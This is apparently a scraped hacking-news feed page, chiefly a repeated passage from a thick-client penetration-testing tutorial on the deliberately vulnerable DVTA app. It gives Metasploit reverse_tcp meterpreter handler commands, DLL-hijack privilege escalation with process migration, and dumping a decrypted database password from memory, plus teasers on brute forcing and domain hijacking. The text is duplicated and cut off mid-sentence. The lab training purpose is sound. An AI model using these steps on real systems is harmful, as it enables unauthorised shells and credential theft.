Hacking Articles Tips Tricks Videos Tutorials
e problem is we got the access of windows with low privileges we don’t have admin access but we have found an application DVTA running with admin privileges. Now If this application is vulnerable to DLL Hijacking and we can exploit it then there is the highest…
<o:p
use exploit/multi/handler<o:p
set payload windows/meterpreter/reverse_tcp<o:p
set LHOST 192.168.0.108<o:p
set LPORT 4444<o:p
exploit<o:p https://1.bp.blogspot.com/-GwKuS1Dpt7Q/YFi5Tosc_dI/AAAAAAAAu4U/IbSMzGydGHsFqZ0GQ__f3JWcg3e659zRgCLcBGAsYHQ/s16000/23.png <o:p
Now, it should give us a shell when the DLL file is executed by the DVTA application. To do this go back to the windows machine and assume as an attacker….that you have placed a malicious file in the directory of the DVTA application and you will have to wait for the administrator to restart the DVTA application from its directory. <o:p https://1.bp.blogspot.com/-XC3oD9UUtRk/YFi5X7Vp8tI/AAAAAAAAu4c/WRZNXivj0zMdX6EqqTyklD8pQZwOLRRlQCLcBGAsYHQ/s16000/24.png So, now in this case we have to assume that the administrator came in and he opened the DVTA application. Here must remember one thing when the administrator tries to run the application is not going to open just due to that wrong DLL file that terminates the execution of the DVTA application.Now come back to the Kali Linux machine and where you can see we got a meterpreter shell <o:p
<o:p https://1.bp.blogspot.com/-MsjQzwTwzzI/YFi5i7dlkkI/AAAAAAAAu4k/_lsZeVMOc0sf4k_eb_fb_XHN4rE932mIACLcBGAsYHQ/s16000/25.png <o:p
But when the administrator tries to run the application that application will not be loaded so, maybe he tries to kill the process. To prevent from losing the shell let’s just quickly migrate to the stable process by running the following command <o:p
<o:p
ps<o:p
<o:p https://1.bp.blogspot.com/-ecZ_R0oSqLo/YFi5okdYI_I/AAAAAAAAu4w/TbLurdYot9oaXwQA0EWpirfmpt9_a9UzQCLcBGAsYHQ/s16000/26.png <o:p
Now quickly find a stable process according to your environment here I’m migrating to the process of explorer.exe <o:p
<o:p https://1.bp.blogspot.com/-uKpA58H9Mu4/YFi5vWFhwJI/AAAAAAAAu40/upBwsVwSJL4RDoRUIPIb1BmHPbcfMlf_gCLcBGAsYHQ/s16000/27.png <o:p
You can see there each process have their process ID. To migrate another process like explorer.exe run the below command in my case I’m migrating to process ID 8036 explorer.exe <o:p
<o:p
migrate 8036<o:p
<o:p
after running this command migration will be completed successfully and even the administrator goes to the task manager and kills the process of DVTA application just because the application was not loaded your session is not going to end also you can verify it by running the following command<o:p
getuid <o:p https://1.bp.blogspot.com/-Ppf2fb2lagQ/YFi52AJK8iI/AAAAAAAAu48/vrJ1oAVhml8h4qmk9O9138_7VbYE08LFwCLcBGAsYHQ/s16000/28.png <o:p
This is how we can exploit DLL hijacking vulnerability in Thick Client Applications.<o:p
<o:p
<o:p
Dumping connection string from memory<o:p
<o:p
As we have already seen two types of data storage issues in thick client applications one is storing sensitive data in registry entries and another one is hardcoded credentials. Now we are going to see another type of data storage issue that is predominantly seen in the 2-tier application that is finding database connection strings in memory. There are two scenarios to find these database connection strings.<o:p
Scenario 1<o:p
· A Clear text connection string may be hardcoded in the client application. So if you can somehow decompile the application or if you can find the strings in the application you may be able to identify this connection string.<o:p
· When the application makes a database connection that connection string has to be in memory so if you can dump the memory while the application is running it is highly likely that you will find the database connection string.<o:p
<o:p
Scenario 2<o:p
· A lot of applications hardcode the database connection string however they encrypt it. So, an attacker who decompiles the application can find the hard-coded string[...]
use exploit/multi/handler<o:p
set payload windows/meterpreter/reverse_tcp<o:p
set LHOST 192.168.0.108<o:p
set LPORT 4444<o:p
exploit<o:p https://1.bp.blogspot.com/-GwKuS1Dpt7Q/YFi5Tosc_dI/AAAAAAAAu4U/IbSMzGydGHsFqZ0GQ__f3JWcg3e659zRgCLcBGAsYHQ/s16000/23.png <o:p
Now, it should give us a shell when the DLL file is executed by the DVTA application. To do this go back to the windows machine and assume as an attacker….that you have placed a malicious file in the directory of the DVTA application and you will have to wait for the administrator to restart the DVTA application from its directory. <o:p https://1.bp.blogspot.com/-XC3oD9UUtRk/YFi5X7Vp8tI/AAAAAAAAu4c/WRZNXivj0zMdX6EqqTyklD8pQZwOLRRlQCLcBGAsYHQ/s16000/24.png So, now in this case we have to assume that the administrator came in and he opened the DVTA application. Here must remember one thing when the administrator tries to run the application is not going to open just due to that wrong DLL file that terminates the execution of the DVTA application.Now come back to the Kali Linux machine and where you can see we got a meterpreter shell <o:p
<o:p https://1.bp.blogspot.com/-MsjQzwTwzzI/YFi5i7dlkkI/AAAAAAAAu4k/_lsZeVMOc0sf4k_eb_fb_XHN4rE932mIACLcBGAsYHQ/s16000/25.png <o:p
But when the administrator tries to run the application that application will not be loaded so, maybe he tries to kill the process. To prevent from losing the shell let’s just quickly migrate to the stable process by running the following command <o:p
<o:p
ps<o:p
<o:p https://1.bp.blogspot.com/-ecZ_R0oSqLo/YFi5okdYI_I/AAAAAAAAu4w/TbLurdYot9oaXwQA0EWpirfmpt9_a9UzQCLcBGAsYHQ/s16000/26.png <o:p
Now quickly find a stable process according to your environment here I’m migrating to the process of explorer.exe <o:p
<o:p https://1.bp.blogspot.com/-uKpA58H9Mu4/YFi5vWFhwJI/AAAAAAAAu40/upBwsVwSJL4RDoRUIPIb1BmHPbcfMlf_gCLcBGAsYHQ/s16000/27.png <o:p
You can see there each process have their process ID. To migrate another process like explorer.exe run the below command in my case I’m migrating to process ID 8036 explorer.exe <o:p
<o:p
migrate 8036<o:p
<o:p
after running this command migration will be completed successfully and even the administrator goes to the task manager and kills the process of DVTA application just because the application was not loaded your session is not going to end also you can verify it by running the following command<o:p
getuid <o:p https://1.bp.blogspot.com/-Ppf2fb2lagQ/YFi52AJK8iI/AAAAAAAAu48/vrJ1oAVhml8h4qmk9O9138_7VbYE08LFwCLcBGAsYHQ/s16000/28.png <o:p
This is how we can exploit DLL hijacking vulnerability in Thick Client Applications.<o:p
<o:p
<o:p
Dumping connection string from memory<o:p
<o:p
As we have already seen two types of data storage issues in thick client applications one is storing sensitive data in registry entries and another one is hardcoded credentials. Now we are going to see another type of data storage issue that is predominantly seen in the 2-tier application that is finding database connection strings in memory. There are two scenarios to find these database connection strings.<o:p
Scenario 1<o:p
· A Clear text connection string may be hardcoded in the client application. So if you can somehow decompile the application or if you can find the strings in the application you may be able to identify this connection string.<o:p
· When the application makes a database connection that connection string has to be in memory so if you can dump the memory while the application is running it is highly likely that you will find the database connection string.<o:p
<o:p
Scenario 2<o:p
· A lot of applications hardcode the database connection string however they encrypt it. So, an attacker who decompiles the application can find the hard-coded string[...]
Hacking Articles Tips Tricks Videos Tutorials
<o:p use exploit/multi/handler<o:p set payload windows/meterpreter/reverse_tcp<o:p set LHOST 192.168.0.108<o:p set LPORT 4444<o:p exploit<o:p https://1.bp.blogspot.com/-GwKuS1Dpt7Q/YFi5Tosc_dI/AAAAAAAAu4U/IbSMzGydGHsFqZ0GQ__f3JWcg3e659zRgCLcBGAsYHQ/s16000/23.png…
but it is not useable to connect to the database. <o:p
· in this scenario when you run the application the application needs to decrypt the encrypted connection string and that decrypted connection string will be seen in memory.<o:p
<o:p
In both cases, if we can dump the memory of the process, we should be able to find the clear text connection string in memory. When it comes to the DVTA application it comes under scenario 2. It contains a hard-coded connection string but the connection string is encrypted but when the application is being run it has to decrypt the encrypted connection string to be able to communicate with the database.<o:p
Let’s see how we can dump the memory of a specific process. There are multiple ways are present to do this but we are going to use a tool called process hacker.<o:p
You can download the process hacker tool by searching It on the web or you can download it directly from here.<o:p
Process hacker: - https://processhacker.sourceforge.io/downloads.php<o:p
We are going to download the portable binary here <o:p https://1.bp.blogspot.com/-eRWSp7cY5ao/YFi57dRgPcI/AAAAAAAAu5E/cC6Lv4vX_LYiIDb1-vr67tprW-B12E2cQCLcBGAsYHQ/s16000/29.png <o:p
Download and extract it on your working directory. We are going to use a 64bit version of this tool which is x64 but before that open up the DVTA application and log in to the application.<o:p https://1.bp.blogspot.com/--JmN2ZCRPMc/YFi5_YDcQxI/AAAAAAAAu5M/H93SIm0zvYE_GqnODJCuk-NDDxnaRVAxACLcBGAsYHQ/s16000/30.png Now, since we have connected to Vijay’s account this application has made some communication with the database so let’s run the Process hacker.<o:p https://1.bp.blogspot.com/-0RjTbWhARII/YFi6DPx5-nI/AAAAAAAAu5Q/hcaDPc4KxAwYvTb5WRhyO05AIg6q1tAAgCLcBGAsYHQ/s16000/31.png As we can see there are lots of processes. Let’s look for DVTA.exe because DVTA is running on another tab so we should be able to find it here as shown in the below image.<o:p https://1.bp.blogspot.com/-9ywKAKPiNJc/YFi6IENN8UI/AAAAAAAAu5Y/pZ5TIhKXYowQOjmysN0z5eU8kqB68EhuACLcBGAsYHQ/s16000/32.png <o:p
Give a double click to the entry of DVTA.exe and then open its properties.<o:p https://1.bp.blogspot.com/-nS7MQ2s5HZM/YFi6Nsz3h_I/AAAAAAAAu5g/TLZqqy0OEEcjK5LM-h5pV2nmH34p2LTlQCLcBGAsYHQ/s16000/33.png <o:p
After that go to the memory<o:p https://1.bp.blogspot.com/-fu56U30JqpQ/YFi6R-ctpjI/AAAAAAAAu5o/Wc_SErdQTHoRIkwoc3d3CrM2e-FE4gkCwCLcBGAsYHQ/s16000/34.png Click on the strings and then choose “image”and “mapped”.<o:p https://1.bp.blogspot.com/-BBOzaK2SwBw/YFi6WIAct2I/AAAAAAAAu5s/1LrGb6JpaAQnv5KMNBnNd_iY-hCyVTXpwCLcBGAsYHQ/s16000/35.png <o:p
Further, then it should find all the strings in the memory of this process. Now as you can see this is a very long list for us to search through so, what we will do is quickly apply a filter with something very common in the database connection strings. So we will apply the filter with the keyword of “Data source” typically database connection strings contain this word data source.<o:p https://1.bp.blogspot.com/-pqaWvcVQTkQ/YFi6baXj9AI/AAAAAAAAu50/-k2EuNHAj9IZmCZEYHcWmVO_QuNhCdTMACLcBGAsYHQ/s16000/36.png <o:p
After applying the filter, you can see a bunch of entries. As you can see there are multiple database connection strings with the decrypted password inside <o:p https://1.bp.blogspot.com/-NkgBb7jPvBI/YFi6fvBjkmI/AAAAAAAAu58/NtiE2YeufRweukr6NDaWuniLMVe38swcwCLcBGAsYHQ/s16000/37.png <o:p
Now copy that entry and paste it on the notepad. As you can see this is the connection string that contains the “user Id”and the “decrypted password”.<o:p<o:phttps://1.bp.blogspot.com/-Ur7KLeGlP5k/YFi6mVcvpNI/AAAAAAAAu6E/-Jt9BhN-bBojRBQUb5YTwc1P5ZlQTHwBACLcBGAsYHQ/s16000/38.png Now let’s see how we can make use of this particular database connectio[...]
· in this scenario when you run the application the application needs to decrypt the encrypted connection string and that decrypted connection string will be seen in memory.<o:p
<o:p
In both cases, if we can dump the memory of the process, we should be able to find the clear text connection string in memory. When it comes to the DVTA application it comes under scenario 2. It contains a hard-coded connection string but the connection string is encrypted but when the application is being run it has to decrypt the encrypted connection string to be able to communicate with the database.<o:p
Let’s see how we can dump the memory of a specific process. There are multiple ways are present to do this but we are going to use a tool called process hacker.<o:p
You can download the process hacker tool by searching It on the web or you can download it directly from here.<o:p
Process hacker: - https://processhacker.sourceforge.io/downloads.php<o:p
We are going to download the portable binary here <o:p https://1.bp.blogspot.com/-eRWSp7cY5ao/YFi57dRgPcI/AAAAAAAAu5E/cC6Lv4vX_LYiIDb1-vr67tprW-B12E2cQCLcBGAsYHQ/s16000/29.png <o:p
Download and extract it on your working directory. We are going to use a 64bit version of this tool which is x64 but before that open up the DVTA application and log in to the application.<o:p https://1.bp.blogspot.com/--JmN2ZCRPMc/YFi5_YDcQxI/AAAAAAAAu5M/H93SIm0zvYE_GqnODJCuk-NDDxnaRVAxACLcBGAsYHQ/s16000/30.png Now, since we have connected to Vijay’s account this application has made some communication with the database so let’s run the Process hacker.<o:p https://1.bp.blogspot.com/-0RjTbWhARII/YFi6DPx5-nI/AAAAAAAAu5Q/hcaDPc4KxAwYvTb5WRhyO05AIg6q1tAAgCLcBGAsYHQ/s16000/31.png As we can see there are lots of processes. Let’s look for DVTA.exe because DVTA is running on another tab so we should be able to find it here as shown in the below image.<o:p https://1.bp.blogspot.com/-9ywKAKPiNJc/YFi6IENN8UI/AAAAAAAAu5Y/pZ5TIhKXYowQOjmysN0z5eU8kqB68EhuACLcBGAsYHQ/s16000/32.png <o:p
Give a double click to the entry of DVTA.exe and then open its properties.<o:p https://1.bp.blogspot.com/-nS7MQ2s5HZM/YFi6Nsz3h_I/AAAAAAAAu5g/TLZqqy0OEEcjK5LM-h5pV2nmH34p2LTlQCLcBGAsYHQ/s16000/33.png <o:p
After that go to the memory<o:p https://1.bp.blogspot.com/-fu56U30JqpQ/YFi6R-ctpjI/AAAAAAAAu5o/Wc_SErdQTHoRIkwoc3d3CrM2e-FE4gkCwCLcBGAsYHQ/s16000/34.png Click on the strings and then choose “image”and “mapped”.<o:p https://1.bp.blogspot.com/-BBOzaK2SwBw/YFi6WIAct2I/AAAAAAAAu5s/1LrGb6JpaAQnv5KMNBnNd_iY-hCyVTXpwCLcBGAsYHQ/s16000/35.png <o:p
Further, then it should find all the strings in the memory of this process. Now as you can see this is a very long list for us to search through so, what we will do is quickly apply a filter with something very common in the database connection strings. So we will apply the filter with the keyword of “Data source” typically database connection strings contain this word data source.<o:p https://1.bp.blogspot.com/-pqaWvcVQTkQ/YFi6baXj9AI/AAAAAAAAu50/-k2EuNHAj9IZmCZEYHcWmVO_QuNhCdTMACLcBGAsYHQ/s16000/36.png <o:p
After applying the filter, you can see a bunch of entries. As you can see there are multiple database connection strings with the decrypted password inside <o:p https://1.bp.blogspot.com/-NkgBb7jPvBI/YFi6fvBjkmI/AAAAAAAAu58/NtiE2YeufRweukr6NDaWuniLMVe38swcwCLcBGAsYHQ/s16000/37.png <o:p
Now copy that entry and paste it on the notepad. As you can see this is the connection string that contains the “user Id”and the “decrypted password”.<o:p<o:phttps://1.bp.blogspot.com/-Ur7KLeGlP5k/YFi6mVcvpNI/AAAAAAAAu6E/-Jt9BhN-bBojRBQUb5YTwc1P5ZlQTHwBACLcBGAsYHQ/s16000/38.png Now let’s see how we can make use of this particular database connectio[...]
Hacking Articles Tips Tricks Videos Tutorials
GIF
Kali Linux Tutorials
Diceware Password Generator : Generate High Entropy Passwords
Diceware is a method used to generate cryptographically strong memorable passphrases. This is a python implementation of the diceware password generating algorithm. Inspired after watching this video. Note : This Program Do Not Store Passwords In Any Form And All The Passwords Are Generated Locally Inside You Device. How DPG Generate Passwords? Traditional Diceware uses […]
The post Diceware Password Generator : Generate High Entropy Passwords appeared first on Kali Linux Tutorials.
Diceware Password Generator : Generate High Entropy Passwords
Diceware is a method used to generate cryptographically strong memorable passphrases. This is a python implementation of the diceware password generating algorithm. Inspired after watching this video. Note : This Program Do Not Store Passwords In Any Form And All The Passwords Are Generated Locally Inside You Device. How DPG Generate Passwords? Traditional Diceware uses […]
The post Diceware Password Generator : Generate High Entropy Passwords appeared first on Kali Linux Tutorials.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Brute Force attack on a Web server’s login Page
https://cdn-images-1.medium.com/max/675/1*4nVfy6fjDajGtWxcNBfnMw.png
When i am trying out CTF challenges i.e.: Hack The Box, once i have completed my reconnaissance i,e: nmap, dirb. This is a process i…
Continue reading on Medium »
Brute Force attack on a Web server’s login Page
https://cdn-images-1.medium.com/max/675/1*4nVfy6fjDajGtWxcNBfnMw.png
When i am trying out CTF challenges i.e.: Hack The Box, once i have completed my reconnaissance i,e: nmap, dirb. This is a process i…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Vulnerabilidad crítica de RCE encontrada en el software Apache OFBiz ERP: Parchar ahora.
https://cdn-images-1.medium.com/max/957/0*eyp2F-RuXyYKQ2vx
La Apache Software Foundation abordó el viernes una vulnerabilidad de alta gravedad en Apache OFBiz que podría haber permitido que un…
Continue reading on Medium »
Vulnerabilidad crítica de RCE encontrada en el software Apache OFBiz ERP: Parchar ahora.
https://cdn-images-1.medium.com/max/957/0*eyp2F-RuXyYKQ2vx
La Apache Software Foundation abordó el viernes una vulnerabilidad de alta gravedad en Apache OFBiz que podría haber permitido que un…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Thick Client Penetration Testing on DVTA
In the previous article, we have seen some methods to Analyze the Traffic of Thick Client Applications specifically in DVTA. You can take a look at that article by browsing this link: – https://www.hackingarticles.in/thick-client-penetration-testing-traffic-analysis/ In this article, we will perform some attacks to pen-test the application. Table of Content Prerequisites
The post Thick Client Penetration Testing on DVTA appeared first on Hacking Articles.
Thick Client Penetration Testing on DVTA
In the previous article, we have seen some methods to Analyze the Traffic of Thick Client Applications specifically in DVTA. You can take a look at that article by browsing this link: – https://www.hackingarticles.in/thick-client-penetration-testing-traffic-analysis/ In this article, we will perform some attacks to pen-test the application. Table of Content Prerequisites
The post Thick Client Penetration Testing on DVTA appeared first on Hacking Articles.
rustyIron - MobileIron MDM Authentication Tooling
https://www.reddit.com/r/redteamsec/comments/mav7uu/rustyiron_mobileiron_mdm_authentication_tooling/
submitted by /u/emptynebuli (https://www.reddit.com/user/emptynebuli)
[link] (https://github.com/optiv/rustyIron) [comments] (https://www.reddit.com/r/redteamsec/comments/mav7uu/rustyiron_mobileiron_mdm_authentication_tooling/)
https://www.reddit.com/r/redteamsec/comments/mav7uu/rustyiron_mobileiron_mdm_authentication_tooling/
submitted by /u/emptynebuli (https://www.reddit.com/user/emptynebuli)
[link] (https://github.com/optiv/rustyIron) [comments] (https://www.reddit.com/r/redteamsec/comments/mav7uu/rustyiron_mobileiron_mdm_authentication_tooling/)
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
What is Zero Trust Model?
https://b.thumbs.redditmedia.com/Ge1Sv7OJ9xdvDbHwnuBXG1lJnm88WBVts9vU2SXizoQ.jpg submitted by /u/umuttosun
[link] [comments]
What is Zero Trust Model?
https://b.thumbs.redditmedia.com/Ge1Sv7OJ9xdvDbHwnuBXG1lJnm88WBVts9vU2SXizoQ.jpg submitted by /u/umuttosun
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Random domain name hijacking at DigitalOcean DNS as easy as ABC
In my line of work, I found an obvious vulnerability in the Digital Ocean panel. I wrote more about it in my blog.
This allows you to bind someone else's domain to your server, which points to the digital ocean but is not bound to the server
If you write a simple WHOIS parser, you can exploit random domains!
I don't understand why the team of Digital Ocean doesn't care about this?
submitted by /u/smeshny
[link] [comments]
Random domain name hijacking at DigitalOcean DNS as easy as ABC
In my line of work, I found an obvious vulnerability in the Digital Ocean panel. I wrote more about it in my blog.
This allows you to bind someone else's domain to your server, which points to the digital ocean but is not bound to the server
If you write a simple WHOIS parser, you can exploit random domains!
I don't understand why the team of Digital Ocean doesn't care about this?
submitted by /u/smeshny
[link] [comments]
hacking: security in practice
It is kaspersky actually bad?
Why some infosec experts on tw say that Kasperky isnt reliable at all?
submitted by /u/sandfoxJ
[link] [comments]
It is kaspersky actually bad?
Why some infosec experts on tw say that Kasperky isnt reliable at all?
submitted by /u/sandfoxJ
[link] [comments]
reddit
It is kaspersky actually bad?
Why some infosec experts on tw say that Kasperky isnt reliable at all?